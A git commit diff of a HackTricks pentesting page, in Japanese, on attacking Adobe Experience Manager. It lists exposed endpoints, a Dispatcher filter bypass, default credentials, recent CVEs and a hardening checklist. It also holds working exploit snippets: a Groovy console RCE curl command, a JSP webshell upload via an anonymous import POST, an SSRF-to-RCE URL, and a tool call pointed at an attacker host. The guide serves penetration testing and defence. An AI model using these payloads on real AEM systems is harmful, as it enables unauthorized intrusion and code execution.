mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
e91f0b1310
commit
0493deec08
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
脆弱性と設定ミスを見つけるには [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。
|
||||
> 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。
|
||||
|
||||
以下のチェックリストは、実際のエンゲージメントで繰り返し現れる**外部からアクセス可能な(認証なしの)攻撃面**に焦点を当てています(2022-2025)。
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
他の迅速な指標:
|
||||
* `/etc.clientlibs/` 静的パスが存在(JS/CSSを返す)。
|
||||
* `/libs/granite/core/content/login.html` 「Adobe Experience Manager」バナー付きのログインページ。
|
||||
* `</script><!--/* CQ */-->` HTMLの下部にあるコメント。
|
||||
|
||||
---
|
||||
|
||||
## 2. 高価値の未認証エンドポイント
|
||||
|
||||
パス | 取得できるもの | ノート
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | **DefaultGetServlet**を介したJCRノード | よくブロックされるが、*Dispatcherバイパス*(下記参照)が機能する。
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | ページツリー、内部パス、ユーザー名の漏洩。
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felixコンソール | デフォルトで403; もし公開され、クレデンシャルが見つかれば⇒ バンドルアップロードRCE。
|
||||
`/crx/packmgr/index.jsp` | パッケージマネージャー | 認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。
|
||||
`/etc/groovyconsole/**` | AEM Groovyコンソール | もし公開されれば→ 任意のGroovy / Java実行。
|
||||
`/libs/cq/AuditlogSearchServlet.json` | 監査ログ | 情報漏洩。
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibsダンプ | XSSベクター。
|
||||
|
||||
### Dispatcherバイパスのトリック
|
||||
ほとんどのプロダクションサイトは*Dispatcher*(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子を**セミコロンまたはエンコードされた改行の後に追加すること**でバイパスできます:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
単一のリクエストは、ユーザープロファイルノードとメールアドレスを頻繁に開示します。P-T Partnersはこの脆弱性に関する良いガイダンスを公開しました。 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. 一般的な誤設定(2025年にも生き残っている)
|
||||
|
||||
1. **匿名POSTサーブレット** – `POST /.json`で`:operation=import`を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで`*.json`のPOSTをブロックすることで修正できます。 【】
|
||||
2. **世界中から読み取り可能なユーザープロファイル** – デフォルトのACLは`/home/users/**/profile/*`に対して`jcr:read`を全員に付与します。
|
||||
3. **デフォルトの資格情報** – `admin:admin`、`author:author`、`replication:replication`。
|
||||
4. **WCMDebugFilter**が有効 ⇒ `?debug=layout`を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ見つかる)。
|
||||
5. **Groovyコンソールが公開** – Groovyスクリプトを送信することでリモートコード実行:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 最近の脆弱性(サービスパックのサイクル)
|
||||
|
||||
四半期 | CVE | 影響を受ける | 影響
|
||||
------- | --- | -------- | ------
|
||||
2024年12月 | **CVE-2024-43711** | 6.5.21以前 | 不適切な入力検証 → **任意のコード実行**(低権限の認証が必要)。 【】
|
||||
2024年12月 | CVE-2024-43724/26 | 6.5.21以前 | Move Page WizardにおけるDOM / ストレージ型XSS。 【】
|
||||
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 作成されたURLを介したDOMベースのXSS。 【】
|
||||
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】
|
||||
|
||||
常に顧客のサービスパックに一致する*APSB*の公告を確認し、最新の**6.5.22**または*Cloud Service 2024.11*をリクエストしてください。
|
||||
|
||||
---
|
||||
|
||||
## 5. 悪用スニペット
|
||||
|
||||
### 5.1 DispatcherバイパスによるRCE + JSPアップロード
|
||||
匿名書き込みが可能な場合:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Now request `/content/evil.jsp` – JSPはAEMプロセスユーザーで実行されます。
|
||||
|
||||
### 5.2 SSRFからRCEへの攻撃(歴史的 < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py`は**aem-hacker**からフルチェーンを自動化します。 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. ツール
|
||||
|
||||
* **aem-hacker** – スイスアーミーナイフの列挙スクリプト、ディスパッチャーバイパス、SSRF検出、デフォルトクレデンシャルチェックなどをサポートします。
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **コンテンツブルートフォース** – 隠れたコンポーネントを発見するために`/_jcr_content.(json|html)`を再帰的にリクエストします。
|
||||
* **osgi-infect** – クレデンシャルが利用可能な場合、`/system/console/bundles`を介して悪意のあるOSGiバンドルをアップロードします。
|
||||
|
||||
---
|
||||
|
||||
## 7. ハードニングチェックリスト(レポートの推奨事項用)
|
||||
|
||||
1. インスタンスを**最新の累積サービスパック**(2025年7月現在:6.5.22)に保つ。
|
||||
2. デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。
|
||||
3. **ディスパッチャーフィルター**を厳格にし、匿名ユーザーに対して`;`、エンコードされた改行、`*.json`または`*.querybuilder.json`を拒否する。
|
||||
4. コンソール(`/system/console`、`/crx/*`、`/etc/groovyconsole`)をIP許可リストで無効化または保護する。
|
||||
5. Adobeが提供する*匿名権限ハードニング*パッケージを適用する。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Adobe Experience Managerのセキュリティ更新(2024年12月)”。
|
||||
* 0ang3el – aem-hackerツール(GitHub)。
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user